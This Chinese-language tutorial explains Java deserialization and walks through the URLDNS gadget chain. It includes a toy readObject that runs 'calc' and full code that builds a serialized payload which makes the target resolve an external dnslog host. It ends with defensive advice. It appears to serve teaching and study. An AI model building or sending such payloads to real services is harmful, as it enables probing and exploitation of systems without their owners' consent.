java反序列化基础
字数 1201 2025-08-11 08:35:44
Java反序列化基础与漏洞分析
一、序列化与反序列化基础
1. 核心概念
序列化与反序列化本质上是方便以流的形式在网络上传输对象,或更持久化地保存对象。当服务端没有严格限制用户输入时,反序列化过程可能执行用户提交的恶意代码。
2. 关键接口与类
Serializable接口
- 只是一个标记接口(空接口)
- 只有实现Serializable接口的类才能被序列化/反序列化
- 静态成员变量和transient标识的成员变量不参与序列化
ObjectOutputStream类
- 用于将对象序列化后写入输出流
- 能将Java类、数组、基本数据类型等转换为可输出的字节
ObjectInputStream类
- 用于读取序列化对象
- 可以从输入流中读取对象并反序列化为Java对象
3. 核心方法
writeObject()
- 序列化方法,将对象写入输出流
- 自动将对象序列化并写入到输出流中
readObject()
- 反序列化方法,从输入流中读取对象
- 将序列化数据转换为相应的Java对象
二、反序列化漏洞原理
1. 漏洞产生条件
- 类重写了writeObject或readObject方法
- Java会调用重写的方法执行其中的代码
- 如果方法中包含恶意代码(如命令执行),就会造成漏洞
2. 简单示例
class User implements Serializable {
private void readObject(ObjectInputStream oos) throws IOException, ClassNotFoundException {
oos.defaultReadObject(); // 执行默认反序列化
Runtime.getRuntime().exec("calc"); // 恶意代码
}
}
当反序列化此类时,会执行计算器程序。
3. 实际攻击限制
- 开发人员通常不会在代码中留下明显危险的readObject方法
- 无源码情况下难以知道具体类名
- 服务端通常只反序列化自己的类
三、反序列化攻击链构成
1. 攻击链三要素
-
入口类:
- 重写了readObject方法
- 可被反序列化
- 最好是JDK自带类(如HashMap)
-
调用链:
- 一个类的方法调用另一个类的同名同类型方法
-
执行类:
- 能够命令执行或远程写文件的类
2. URLDNS链分析
特点
- 使用JDK原生类
- 无JDK版本限制
- 适合新手学习
- 仅触发DNS解析(用于漏洞探测)
攻击链组成
HashMap → URL
调用流程
HashMap.readObject()
→ hash()
→ key.hashCode()
→ URL.hashCode()
→ handler.hashCode()
→ getHostAddress()
完整攻击代码
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();
URL url = new URL("http://malicious.dnslog.cn");
// 通过反射修改hashCode值,避免put时触发DNS
Class c = url.getClass();
Field hashCodeField = c.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 1234);
hashMap.put(url, 1);
// 改回hashCode为-1,使反序列化时触发DNS
hashCodeField.set(url, -1);
serialize(hashMap); // 序列化
unserialize("payload.bin"); // 反序列化
}
}
关键点
-
使用反射修改URL的hashCode字段:
- put前设为非-1值(避免立即触发DNS)
- put后改回-1(使反序列化时触发DNS)
-
序列化时不会触发DNS,反序列化时才会触发
四、防御措施
- 输入验证:严格校验反序列化数据来源
- 使用白名单:限制可反序列化的类
- 安全配置:使用SecurityManager限制敏感操作
- 替代方案:考虑使用JSON等更安全的序列化格式
- 更新组件:及时修复已知漏洞的第三方库
五、总结
Java反序列化漏洞利用需要:
- 找到合适的入口类(如HashMap)
- 构造完整的调用链
- 最终到达执行恶意代码的点
URLDNS链是初学者理解反序列化漏洞的良好起点,它展示了如何利用JDK原生类构造攻击链,并通过反射技巧控制触发时机。实际攻击中,还需要研究更复杂的Gadget链来实现命令执行等更高危的操作。